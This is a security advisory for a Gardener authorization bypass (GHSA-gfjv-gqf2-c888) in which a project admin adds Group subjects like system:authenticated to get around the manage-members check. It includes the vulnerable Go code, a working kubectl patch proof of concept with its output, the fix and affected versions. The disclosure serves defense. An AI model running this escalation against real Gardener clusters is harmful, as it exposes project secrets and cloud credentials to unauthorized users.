Gardener: Authorization Bypass via Group Subject InjectionGHSA-gfjv-gqf2-c888
MEDIUMFix: gardener/gardener#15080GHSA-gfjv-gqf2-c888 is a medium-severity (CVSS 5.5) CWE-863 vulnerability in github.com/gardener/gardener. A fix is available for github.com/gardener/gardener — see the affected versions and patch details below.
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-gfjv-gqf2-c888.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-gfjv-gqf2-c888 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
github.com/gardener/gardener🐹gardener/gardener🐹gardener/gardenerReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Overview
The manage-members custom verb authorization check in the Gardener API server's customverbauthorizer admission plugin can be bypassed by adding Group or ServiceAccount subjects to a Project's member list. The check is documented as controlling "human users or groups", but the implementation only gates changes to User-kind subjects. A project admin (without manage-members permission) can add arbitrary Group subjects - including system:authenticated - granting all authenticated users full project-level access.
Technical Details
The official Gardener documentation at docs/usage/project/projects.md:90-92 explicitly states:
<img width="2090" height="290" alt="image" src="https://github.com/user-attachments/assets/744f5d6f-1e03-47b5-9dc5-36f20b7e6f4b" />
However, the mustCheckProjectMembers() function at admission.go compares old and new member lists using findHumanUsersWithRoles(), which only tracks subjects where isHumanUser() returns true:
func mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner *rbacv1.Subject, userInfo user.Info) bool {
if apiequality.Semantic.DeepEqual(oldMembers, members) {
return false
}
if userIsOwner(userInfo, owner) {
return false
}
var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members)
// ...
return !oldHumanUsers.Equal(newHumanUsers)
}
The isHumanUser() function at admission.go only matches Kind == "User":
func isHumanUser(subject rbacv1.Subject) bool {
return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)
}
Kind: "Group" subjects are NOT matched by isHumanUser(), making Group member changes invisible to the authorization check.
A project admin without manage-members permission can freely add or remove Group members.
Steps to reproduce
<img width="4322" height="1395" alt="image" src="https://github.com/user-attachments/assets/60edacce-9810-4545-8198-a96cd072616c" />Proof of concept:
- Verify current project membership and confirm the owner has
manage-memberspermission:
# Project members before the test:
$ kubectl get project local -o yaml
# members:
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: admin-user
# role: admin
# roles:
# - owner
# Confirm the owner CAN manage-members (expected)
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=admin-user
yes
- Add a second admin user (
test-admin-user) to the project WITHOUT theuamrole, then confirm they lackmanage-members:
# After adding test-admin-user as admin (no uam role):
$ kubectl get project local -o yaml
# members:
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: admin-user
# role: admin
# roles:
# - owner
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: test-admin-user
# role: admin
# Confirm test-admin-user does NOT have manage-members
$ kubectl auth can-i manage-members projects.core.gardener.cloud/local --as=test-admin-user
no
- Verify
test-admin-usercannot add a human User member (the check works for Users):
$ kubectl patch --as=test-admin-user project local --type=merge -p '{
"spec": {
"members": [
{
"kind": "User",
"apiGroup": "rbac.authorization.k8s.io",
"name": "[email protected]",
"role": "viewer"
}
]
}
}'
Error from server (Forbidden): [projects.core.gardener.cloud](https://projects.core.gardener.cloud/) "local" is forbidden: user "test-admin-user" is not allowed to manage human users or groups in .spec.members for "projects"
- Bypass the check by adding a Group subject instead:
# This should be denied but ISN'T - the manage-members check is bypassed
$ kubectl patch project local --as=test-admin-user --type=json -p '[
{
"op": "add",
"path": "/spec/members/-",
"value": {
"kind": "Group",
"apiGroup": "rbac.authorization.k8s.io",
"name": "system:authenticated",
"role": "admin",
"roles": ["admin"]
}
}
]'
project.core.gardener.cloud/local patched
- Verify the Group was added to project members:
$ kubectl get project local -o yaml
# members:
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: admin-user
# role: admin
# roles:
# - owner
# - apiGroup: rbac.authorization.k8s.io
# kind: User
# name: test-admin-user
# role: admin
# - apiGroup: rbac.authorization.k8s.io
# kind: Group
# name: system:authenticated
# role: admin
- Demonstrate the impact - any authenticated user now has project access:
# As a random user
$ kubectl [email protected] get shoots -n garden-local
NAME CLOUDPROFILE PROVIDER REGION K8S VERSION HIBERNATION LAST OPERATION STATUS AGE
local local local local 1.35.0 Awake Create Succeeded (100%) healthy 30m
Note:
[email protected]does not exist as a real user. However, the Kubernetes--asglobal flag performs user impersonation which is treated as a successfully authenticated request, automatically adding thesystem:authenticatedgroup. Sincesystem:authenticatedwas added as a project admin member, this non-existent user now has full admin access to the project including all Shoots, Secrets, and cloud provider credentials.
Security Impact
- Unauthorized access expansion: A project admin can grant project-level access to ANY Kubernetes group, including
system:authenticated(all authenticated users) orsystem:unauthenticated(all unauthenticated users).
Patching & Remediation
- Fix
isHumanUser()to include Groups: The function should match the documented behavior. Change:
To:func isHumanUser(subject rbacv1.Subject) bool { return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) }func isNonServiceAccountSubject(subject rbacv1.Subject) bool { if subject.Kind == rbacv1.GroupKind { return true } return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix) }
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/gardener/gardener | all versions | 1.142.6go get github.com/gardener/gardener@v1.142.6 |
| 🐹Go | gardener/gardener | ≥ 1.143.0&&< 1.143.3 | 1.143.3go get gardener/gardener@v1.143.3 |
| 🐹Go | gardener/gardener | ≥ 1.144.0&&< 1.144.2 | 1.144.2go get gardener/gardener@v1.144.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gardener/gardener, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/gardener/gardener to 1.142.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gfjv-gqf2-c888 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is GHSA-gfjv-gqf2-c888 in your dependencies?
Find it across Go, including transitive dependencies.